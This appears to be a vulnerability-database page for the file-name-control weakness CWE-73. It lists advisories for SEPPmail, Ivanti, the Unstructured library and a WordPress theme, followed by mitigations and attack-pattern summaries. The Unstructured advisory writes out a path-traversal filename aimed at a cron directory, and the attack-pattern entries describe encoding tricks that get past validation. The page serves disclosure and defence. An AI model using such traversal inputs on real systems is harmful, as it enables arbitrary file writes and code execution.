    "severity": "HIGH"
  },
  "details": "SEPPmail Secure Email Gateway before version 15.0.4 contains an unauthenticated path traversal vulnerability in the identifier parameter of /api.app/attachment/preview that allows remote attackers to read arbitrary local files and trigger deletion of files in the targeted directory with the privileges of the api.app process.",
  "id": "GHSA-gh4w-5vrf-hhcg",
  "modified": "2026-05-18T18:31:24Z",
  "published": "2026-05-08T15:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44127"
    },
    {
      "type": "WEB",
      "url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#security"
    },
    {
      "type": "WEB",
      "url": "https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GJ4J-XH74-GVW8

Vulnerability from github – Published: 2025-02-21 03:31 – Updated: 2025-02-21 03:31
VLAI
Details

External control of a file name in Ivanti Connect Secure before version 22.7R2.4 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to write arbitrary files.

Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-21T02:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "External control of a file name in Ivanti Connect Secure before version 22.7R2.4 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to write arbitrary files.",
  "id": "GHSA-gj4j-xh74-gvw8",
  "modified": "2025-02-21T03:31:12Z",
  "published": "2025-02-21T03:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38657"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GM8Q-M8MV-JJ5M

Vulnerability from github – Published: 2026-02-03 17:43 – Updated: 2026-02-04 19:53
VLAI
Summary
Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write
Details

A Path Traversal vulnerability in the partition_msg function allows an attacker to write or overwrite arbitrary files on the filesystem when processing malicious MSG files with attachments.

## Impact An attacker can craft a malicious .msg file with attachment filenames containing path traversal sequences (e.g., ../../../etc/cron.d/malicious). When processed with process_attachments=True, the library writes the attachment to an attacker-controlled path, potentially leading to:

  • Arbitrary file overwrite
  • Remote code execution (via overwriting configuration files, cron jobs, or Python packages)
  • Data corruption
  • Denial of service

## Affected Functionality The vulnerability affects the MSG file partitioning functionality when process_attachments=True is enabled.

## Vulnerability Details The library does not sanitize attachment filenames in MSG files before using them in file write operations, allowing directory traversal sequences to escape the intended output directory.

## Workarounds Until patched, users can: - Set process_attachments=False when processing untrusted MSG files - Avoid processing MSG files from untrusted sources - Implement additional filename validation before processing

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.18.17"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "unstructured"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:43:56Z",
    "nvd_published_at": "2026-02-04T18:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "A Path Traversal vulnerability in the `partition_msg` function allows an attacker to write or overwrite arbitrary files on the filesystem when processing malicious MSG files with attachments.\n\n  ## Impact\n  An attacker can craft a malicious .msg file with attachment filenames containing path traversal sequences (e.g.,\n  `../../../etc/cron.d/malicious`). When processed with `process_attachments=True`, the library writes the attachment to an\n  attacker-controlled path, potentially leading to:\n\n  - Arbitrary file overwrite\n  - Remote code execution (via overwriting configuration files, cron jobs, or Python packages)\n  - Data corruption\n  - Denial of service\n\n  ## Affected Functionality\n  The vulnerability affects the MSG file partitioning functionality when `process_attachments=True` is enabled.\n\n  ## Vulnerability Details\n  The library does not sanitize attachment filenames in MSG files before using them in file write operations, allowing directory\n  traversal sequences to escape the intended output directory.\n\n  ## Workarounds\n  Until patched, users can:\n  - Set `process_attachments=False` when processing untrusted MSG files\n  - Avoid processing MSG files from untrusted sources\n  - Implement additional filename validation before processing",
  "id": "GHSA-gm8q-m8mv-jj5m",
  "modified": "2026-02-04T19:53:04Z",
  "published": "2026-02-03T17:43:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-gm8q-m8mv-jj5m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64712"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unstructured-IO/unstructured/commit/b01d35b2373fd087d2e15162b9c021663c97155d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unstructured-IO/unstructured"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write"
}

GHSA-GP34-Q874-5PW2

Vulnerability from github – Published: 2025-09-09 09:31 – Updated: 2025-09-09 09:31
VLAI
Details

The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T09:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
  "id": "GHSA-gp34-q874-5pw2",
  "modified": "2025-09-09T09:31:11Z",
  "published": "2025-09-09T09:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10134"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/goza-nonprofit-charity-wordpress-theme/23781575"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/73efd9ad-9515-4ca8-bfb3-1d478f39c2b9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation
Architecture and Design Operation
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation
Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation
Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

← Back to the CWE list